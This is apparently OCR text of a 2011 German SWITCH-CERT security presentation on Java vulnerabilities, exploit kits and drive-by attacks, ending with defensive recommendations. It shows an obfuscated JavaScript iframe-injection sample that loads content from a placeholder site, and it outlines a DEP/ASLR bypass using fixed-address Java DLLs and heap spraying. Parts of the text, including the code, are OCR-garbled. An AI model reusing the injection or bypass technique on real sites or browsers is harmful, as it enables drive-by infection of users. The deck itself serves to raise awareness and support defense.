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Security (SWITCH-CERT)

Derzeit 7 Mitarbeiter, bald 10

Unser Team erbringt Security-Dienstleistungen fur Universitaten/
Hochschulen & Schweizer Banken

National und international vernetzt

Langjahrige Erfahrung in
— Incident Handling
— Malware-Analyse
— Forensics
— Risk Assessment, Penetration Testing
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Schwachstellen in Java

Quelle: http://www.symantec.com/connect/blogs/rise-java-vulnerabilities
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Wieso ist Java fur Cyberkriminelle
interessant?

Java-basierte Applikationen in Unternehmen

2

Java ist auf den Clients installiert

Installierte Java-Version ist meist veraltet

2

Veraltet heisst meist, dass Schwachstellen vorhanden sind
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Motivation von Cyberkriminellen

Quelle: Dino Dai Zovi ,Hackers Math 101“

© 2011 SWITCH http://trailofbits.files.wordpress.com/2011/08/attacker-math.pdf



Motivation von Cyberkriminellen

Quelle: Dino Dai Zovi ,Hackers Math 101“
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Ergebnis

Quelle: http://blogs.technet.com/b/mmpc/archive/2010/10/18/have-you-checked-the-java.aspx
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Grund: Exploit-Kits

Quelle: www.isecpartners.com/storage/docs/presentations/EIP-final.pdf

© 2011 SWITCH



Drive-by-Angriffe

Opfer

kompromittierte
Webseite

<html>

<iframe src=exploit
-server.com
</body>
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exploit-server.com
mit Exploit-Kit



Drive-by-Angriffe

<iframe src="http://www.somewebsite.com/index.html” width=20
height=20></iframe>

<script type="text/javascript">

function E112CD3368FC12BE15F74F8E2(F3228D437C2BD52E2C1){function EO7E36754E952F0A8B()
{var FBA2793E8749D8000EE5E0C87381DA=16;return FBA2793E8749D8000EE5EQC87381DA;}
return(parselnt(F3228D0437C2BD52E2C1,EQ07E36754E952F0A8B())); unction
AA55547E2A4731FF58AD(A8DE915EB34C316916288){function D69A9B62A1E651D8EG9IFF()
{return 2;}var B8BF4E467CF2E2B16B6="";for
(F2CDOA38BFB3247F4CAE=0;F2CDO0A38BFB3247F4CAE<A8DE915EB34C316916288.length;F2C
DOA38BFB3247F4CAE+=D69A9B62A1E651D8EGO9FF(){B8F4E467CF2E2B16B6+=
(String.fromCharCode(E112CD3368FC12BE15F74F8E2(ASDE915EB34C316916288.substr
(F2CDOA38BFB3247F4CAE,D69A9B62A1E651D8EG99IFF()))));}document.write
(B8F4E467CF2E2B16B6);}JAA55547E2A4731FF58AD
("3C696672616D65207372633DE2809D687474703A2F2F7777772E736F6D65776562736974652E6
36F6D2F696E6465782E68746D6CE2809D2077696474683D3230206865696768743D32303E3C2F6
96672616D653E");

</script>
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Drive-by-Angriffe

Opfer

exploit-server.com
mit Exploit-Kit
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Drive-by-Angriffe

Opfer
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exploit-server.com
mit Exploit-Kit
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Drive-by-Angriffe

Phase IV: Malware nachladen

Malware-Server
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Exploit-Kit Statistiken

Java ist inzwischen prominent vertreten

EXPLOITS LOADS
WF Java OBE > 373
WE Java TRUST > 307
W JAVA SKYLINE > 245
WF PDF LIBTIFF > 108
WE POFALL > 34
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Quelle: http://labs.m86security.com/2011/06/malicious-linkedin-campaign/
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Exploit-Kit Statistiken

© 2011 SWITCH Quelle: http://www.csis.dk/en/csis/news/3321
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Wir reden hier uber Massen-Malware

... es werden bekannte Schwachstellen ausgenutzt.

.. die Qualitat der Exploits ist in der Regel nicht sehr hoch.

... nachgeladene Schadsoftware meist Fake-AV oder Online-Banking
Schadlinge.

.. es gibt deshalb keinen Grund, Opfer solcher Angriffe zu werden!
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Allerdings birgt Java ein zusatzliches
Risiko

Selbst dann, wenn es keine
Schwachstelle in Java gibt!
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Gut gemeinter Rat

© 2011 SWITCH Quelle: http://www.symantec.com/connect/blogs/rise-java-vulnerabilities
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Gegenmassnahmen auf OS-Ebene

Aktuelle Betriebssysteme nutzen verschiedene Gegenmassnahmen, um
Drive-by Angriffe zu erschweren oder zu verhindern.

DEP und ASLR sind dabei besonders wirkungsvoll.
DEP markiert Speicherbereiche als nicht ausfuhrbar.

ASLR verhindert, dass Angreifer bekannte und notwendige Adressen
und somit Funktionen fur den Angriff nutzen konnen.

Deshalb wohl auch die Empfehlung von Symantec!
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Wo sind die Massnahmen vorhanden?
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Aber...

/7YBUUUU /7 /a/0UUU USELU /oaISokn UN /LD ®ADLK ®ULE L \W1NAOWS \SYSTEens<\Uorlu.all
77a80000 77bbc000 ntdll /SafeSEH ON ~GS *ASLR *DEP C “\Windows \SYSTEM32\ntdll.dll

77bc0000 77bcal00 LPK HO_SEH *ASLR *DEP C:\Windows“\systemn32\LPK.dll

772hdANNNN_ 77084000 kern=1372 Caf=CFH_NN__/GS %ACSTR_*NFP_ Alindousi\susteni2ikern=]32 411

72340000 7396000 MSVCR?71 /SafeSEH ON /GS C:N\Program Files\Java\jrebt bin“~MSVCR71 dll

Unloaded modules:
71b90000 71b90000 =gmapi.dll

*DEP/#ASLR means that these modules are compatible with ASLR/DEP

Bei einer Java-Installation auf dem Client werden zwei
Java-DLLs automatisch in den Speicher des Internet
Explorer-Prozesses geladen

... und zwar stets an dieselben Adressen!
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Dies lasst sich fur sehr viele client-seitige
Schwachstellen ausnutzen

1.) Java-Komponenten sind stets an gleichen Adressen im Speicher

- Schutz durch ASLR wird aufgehoben

2.) Eine Java-Komponente beinhaltet Funktionen, mit deren Hilfe man
ausfuhrbaren Speicher anlegen und den Shellcode dorthin kopieren
kann (oder einen Bereich wieder ausfuhrbar machen kann)

- Schutz von DEP wird dadurch umgangen
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Dies lasst sich fur sehr viele client-seitige
Schwachstellen ausnutzen

3.) Heap gezielt sprayen, so dass als erstes die Funktionen in der Java-
Komponenten ausgefuhrt wird (z.B. VirtualProtect())

- dadurch kann der Bereich, der den Shellcode beinhaltet, wieder
ausfuhrbar gemacht werden

4.) Zum Shellcode springen und ihn ausfuhren
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Beispiel: CVE-2011-1256
Schwachstelle in Internet Explorer 6 — 8.
Memory Corruption Vulnerability

Aufruf einer speziell praparierten Seite genugt, um die
Schwachstelle auszunutzen.
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Beispiel: CVE-2011-1256

Schwachstelle in Internet Explorer 6 - 9
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Beispiel
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Empfehlungen

Nein; Weiss nicht

© 2011 SWITCH

Wird Java
wirklich
bendotigt?

Ja

Java 7 installieren (DEP- und
ASLR-Support)

Java stets aktuell halten
Whitelist fur Java-Applets
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Links

,Java Malware®, Donato Ferrante, 2011
http://public.avast.com/caro2011/DonatoFerrante%20-%20Java%20malware.pdf

“The Exploit Intelligence Project”, Dan Guido, 2011
www.isecpartners.com/storage/docs/presentations/EIP-final.pdf

“Mitigating Software Vulnerabilities”, Microsoft, 2011
http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=26788

http://blog.trendmicro.com/japan-us-defense-industries-among-
targeted-entities-in-latest-attack/?
utm_source=feedburner&utm_medium=feed&utm_campaign=Feed
%3A+Anti-MalwareBlog+%28 Trend+Micro+Malware+Blog%29
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